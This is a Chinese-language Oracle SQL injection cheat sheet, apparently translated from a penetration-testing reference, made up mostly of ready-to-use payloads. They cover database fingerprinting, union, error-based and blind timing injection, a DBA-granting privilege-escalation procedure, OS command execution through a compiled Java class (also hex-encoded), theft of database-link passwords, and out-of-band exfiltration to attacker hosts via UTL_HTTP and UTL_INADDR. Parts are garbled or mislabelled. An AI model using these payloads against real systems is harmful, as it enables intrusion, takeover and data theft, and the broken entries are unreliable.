DBMS识别
描述 |
语句 |
字符串连接 |
page.jsp?id=’||’oracle’ – |
默认表 |
page.jsp?id=’UNION SELECT 1 FROM v$version – |
错误消息 注意:通过无效语法触发数据库错误 有时会返回包含DBMS名称的详细错误消息。 |
page.jsp?id=’ |
一般提示
根据应用程序提供的错误,如果存在“ORA-XXXX”错误,其中每个X都是整数,则表示数据库是Oracle.
JSP应用程序通常具有Oracle数据库。
将查询转换为注入
描述 |
语句 |
联合查询 |
product.jsp?id=’ UNION SELECT banner FROM v$version – |
联合子查询 |
product.jsp?id=’ UNION (SELECT banner FROM v$version) – |
联合null 注意:如果原始查询返回多个列, 则添加null以等于列数-1 |
product.jsp?id=’ UNION SELECT banner,null FROM v$version – |
注入类型
基于错误
当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。错误消息可用于返回完整的查询结果,或获取有关如何重构查询以供进一步利用的信息。
描述 |
语句 |
无效的HTTP请求 |
SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual |
CTXSYS.DRITHSX.SN |
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual |
无效的XPath |
SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
无效的XML |
SELECT to_char(dbms_xmlgen.getxml(‘select “‘||(select user from sys.dual)||’” FROM sys.dual’)) FROM dual |
无效的XML |
SELECT rtrim(extract(xmlagg(xmlelement(“s”, username || ‘,’)),’/s’).getstringval(),’,’) FROM all_users |
联合查询注入
基于联合的SQL注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。 仅当原始/新查询具有相同结构(列的数量和数据类型)时,才能使用联合运算符。
描述 |
语句 |
联合 |
SELECT user FROM dual UNION SELECT * FROM v$version |
联合子查询 |
SELECT user FROM dual UNION (SELECT * FROM v$version) |
联合null 注意:如果原始查询返回多个列,则添加null以等于列数 |
SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version) |
盲注
盲注是更高级的注入方法之一。部分盲和全盲方法详述如下。执行这些查询时要小心,因为如果通过大量自动化执行,它们可能会使服务器过载。
部分盲
部分盲注是指返回HTTP状态代码或HTML响应中的其他标记的查询,他们指示真或假陈述。下面的查询将试图通过在猜测的信息上声明真实或错误的响应来利用注入。真或假查询也可以通过返回1(真)或0(假)行来识别。一个错误也可以用来标识0(False)。
描述 |
语句 |
版本是12.2 |
SELECT COUNT(*) FROM v$version WHERE banner LIKE ‘Oracle%12.2%’; |
子选择启用 |
SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual) |
表log_table存在 |
SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table); |
列message存在于表log_table中 |
Select COUNT(*) from user_tab_cols where column_name = ‘MESSAGE’ and table_name = ‘LOG_TABLE’; |
第一条message的第一个字母是t |
Select message from log_table where rownum=1 and message LIKE ‘t%’; |
将部分盲查询转换为全盲查询
通过使用以下转换,可以在全盲方案中使用上述任何查询:
SELECT CASE WHEN (PARTIAL_BLIND_QUERY)=1 THEN (SELECT count(*) FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual
部分盲查询必须返回一行,因此总是尝试在所选列上使用COUNT。添加”all_users [letter]”,直到数据库响应变慢。 如果数据库缓存响应,您可能需要循环[letter]。
全盲
全盲查询不会在HTTP / HTML响应中指示任何查询结果。这使他们依赖于定时功能和其他out-of-band攻击方法。一个真的SQL语句需要X秒的回应,一个假的SQL语句应该立即返回。
描述 |
语句 |
版本是12.2 |
SELECT CASE WHEN (SELECT COUNT() FROM v$version WHERE banner LIKE ‘Oracle%11.2%’)=1 THEN (SELECT count() FROM all_users a, all_users b, all_users c, all_users d) ELSE 0 END FROM dual |
注入手法
条件语句
描述 |
语句 |
Case |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual |
注入定位
注入位置 |
语句 |
注入字符串 |
SELECT -> WHERE |
SELECT user FROM dual WHERE user LIKE ‘$injection’; |
‘||’USER%’||’ |
INSERT -> VALUES |
INSERT INTO log_table (message) VALUES (‘$injection’); |
‘||(select user from dual)||’ |
UPDATE -> SET |
UPDATE log_table SET message = ‘$injection’ WHERE message = ‘test’; |
‘||(select user from dual)|| |
UPDATE -> WHERE 注意:尝试将注入字符串设置为有效的WHERE值。 如果对象已更新,则注入成功。 |
UPDATE log_table SET message = ‘test’ WHERE message = ‘$injection’; |
‘||’Injected’||’ |
注入混淆
描述 |
语句 |
ASCII>字符 |
SELECT char(65) from dual |
字符> ASCII |
SELECT ascii(‘A’) from dual |
按位AND |
SELECT 6 & 2 from dual |
按位或 |
SELECT 6 from dual |
按位否定 |
SELECT ~6 from dual |
按位XOR |
SELECT 6 ^ 2 from dual |
选择第N个字符 |
SELECT substr(‘abcd’, 3, 1) FROM dual; – Returns 3rd charcter, ‘c’ |
字符串截取 |
SELECT substr(‘abcd’, 3, 2) from dual substr(string, index, length) |
Cast |
select CAST(12 AS CHAR(32)) from dual |
字符串连接 |
SELECT concat(‘net’,’spi’) from dual |
注释 |
SELECT 1 FROM dual – comment |
If 语句 |
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; |
Case 语句 |
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; – Returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; – Returns 2 |
时间延迟 |
BEGIN DBMS_LOCK.SLEEP(5); END; (Requires Privileges) SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com' |
) FROM dual; |
| 选择第n行 | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; – Returns 9th row |
| 按位与 | SELECT bitand(6,2) FROM dual; – Returns 2 SELECT bitand(6,1) FROM dual; – Returns 0 |
| 字符串连接 | SELECT ‘A’ || ‘B’ FROM dual; – Returns AB |
| 避免引号 | SELECT chr(65) || chr(66) FROM dual; – Returns AB |
| 16进制编码 | SELECT 0x75736572 FROM dual; |
利用方式
信息收集
收集有关任何测试环境的信息通常很有价值; 版本号,用户帐户和数据库都有助于升级漏洞。以下是常见的方法。
*需要特权用户
描述 |
语句 |
版本 |
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
单个用户 |
SELECT user FROM dual |
所有用户 |
SELECT username FROM all_users ORDER BY username; *SELECT name FROM sys.user$; |
表 |
SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
通过列名称获取表 |
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; |
列 |
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
当前数据库名称 |
SELECT global_name FROM global_name; SELECT name FROM V$DATABASE; SELECT instance_name FROM V$INSTANCE; SELECT SYS.DATABASE_NAME FROM DUAL; |
数据库 |
SELECT DISTINCT owner FROM all_tables; |
DBA 账户 |
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; |
特权 |
SELECT * FROM session_privs;(Retrieves Current Privs) * SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; * SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
DB文件的位置 |
SELECT name FROM V$DATAFILE; |
主机名,IP地址 |
SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; (IP地址) SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; (主机名) |
数据定位
能够正确地识别和定位敏感信息可以以指数的方式减少在数据库中花费的时间,这意味着可以花费更多的时间在其他方向上。
描述 |
语句 |
寻找敏感数据 |
SELECT owner,table_name,column_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; |
寻找特权 |
SELECT * FROM session_privs SELECT * FROM USER_SYS_PRIVS SELECT * FROM USER_TAB_PRIVS SELECT * FROM USER_TAB_PRIVS_MADE SELECT * FROM USER_TAB_PRIVS_RECD SELECT * FROM ALL_TAB_PRIVS SELECT * FROM USER_ROLE_PRIVS |
提取存储过程/ Java源 |
SELECT * FROM all_source WHERE owner NOT IN (‘SYS’,’SYSTEM’) SELECT * FROM all_source WHERE TYPE LIKE ‘%JAVA %’ SELECT TO_CHAR(DBMS_METADATA.get_ddl(‘TABLE’,’DEPT’,’CONSUELA’)) FROM dual |
提权
*需要特权用户
描述 |
语句 |
转储所有DBA用户名 |
SELECT username FROM user_role_privs WHERE granted_role=’DBA’; |
建立DBA用户 |
* GRANT DBA to USER |
创建过程 |
CREATE OR REPLACE PROCEDURE “SYSTEM”.netspi1 (id IN VARCHAR2) AS PRAGMA autonomous_transaction; EXECUTE IMMEDIATE ‘grant dba to scott’; COMMIT; END; BEGIN SYSTEM.netspi1(‘netspi’); END; |
查找数据库链接 |
SELECT * FROM DBA_DB_LINKS SELECT * FROM ALL_DB_LINKS SELECT * FROM USER_DB_LINKS |
查询数据库链接 |
SELECT * FROM sales@miami – minimum for preconfigured SELECT * FROM harold@netspi.com |
– standard usage for selecting table from schema on remote server SELECT * FROM harold@netspi.com |
|
@hq_1 – standard usage for selecting table from schema on remote server instance SELECT db_link,password FROM user_db_links WHERE db_link LIKE ‘TEST%’’ SELECT name,password FROM sys.link$ WHERE name LIKE ‘TEST%’; SELECT name,passwordx FROM sys.link$ WHERE name LIKE ‘TEST%’; |
|
在数据库链接上执行存储过程 |
EXEC mySchema.myPackage.myProcedure@myRemoteDB( ‘someParameter’ ); SELECT dbms_xmlquery.getxml(‘select * from emp’) FROM harold@netspi.com |
创建数据库链接 |
CREATE SHARED PUBLIC DATABASE LINK supply.us.netspi.com; – connected user setup CREATE SHARED PUBLIC DATABASE LINK supply.us.netspi.com CONNECT TO harold AS tiger; – standard defined user/pass CREATE SHARED PUBLIC DATABASE LINK hq.netspi.com.com@hq_1 USING ‘string_to_hq_1’; – instance specific CREATE SHARED PUBLIC DATABASE LINK link_2 CONNECT TO jane IDENTIFIED BY doe USING ‘us_supply’; – defined user pass |
删除链接 |
DROP DATABASE LINK miami; |
命令执行
如果安装了Java,可用于执行命令
描述 |
语句 |
创建Java类 |
/* create Java class / BEGIN EXECUTE IMMEDIATE ‘create or replace and compile java source named “PwnUtil” as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = “”;while ((stemp = myReader.readLine()) != null) str += stemp + “\n”;myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = “”;while((stemp = myReader.readLine()) != null) str += stemp + “\n”;myReader.close();return str;} catch (Exception e){ return e.toString();}}};’; END; / BEGIN EXECUTE IMMEDIATE ‘create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ‘’PwnUtil.runCmd(java.lang.String) return String’’;’; END; / / run OS command */ SELECT PwnUtilFunc(‘ping -c 4 localhost’) FROM dual; |
创建Java类(十六进制编码) |
/* create Java class / SELECT TO_CHAR(dbms_xmlquery.getxml(‘declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(‘’637265617465206f72207265706c61636520616e6420636f6d70 696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696 320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b42756 66665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d526561646572285 2756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e6720737 4656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d73746 56d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b726574757 26e20652e746f537472696e6728293b7d7d7d’’)); SEXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(‘’637265617465206f72207265706c6163652066756e6374696f6e2050776 e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a 617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b’’)); end;’)) results FROM dual / run OS command */ SELECT PwnUtilFunc(‘ping -c 4 localhost’) FROM dual; |
文件读写
有时可以使用UTL_FILE。检查以下是否为非null
SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;
如果安装了Java(Oracle Express中不可用),可用于读取和写入文件。
横向移动
描述 |
语句 |
创建用户 |
CREATE USER user IDENTIFIED by pass; |
删除用户 |
DROP USER user |
数据泄露
描述 |
语句 |
将多行合并为一行 |
SELECT dbms_xmlgen.getxmltype(‘select user from dual’) FROM dual |
XML外部实体 |
SELECT xmltype(‘ %remote; %param1;]>’) FROM dual; |
URL_HTTP 请求 (Pre-11gR2) |
SELECT UTL_HTTP.request (‘http://IP/test‘) FROM dual; |
避免特殊字符 |
SELECT UTL_URL.escape(‘http://IP/‘ || USER) FROM dual; |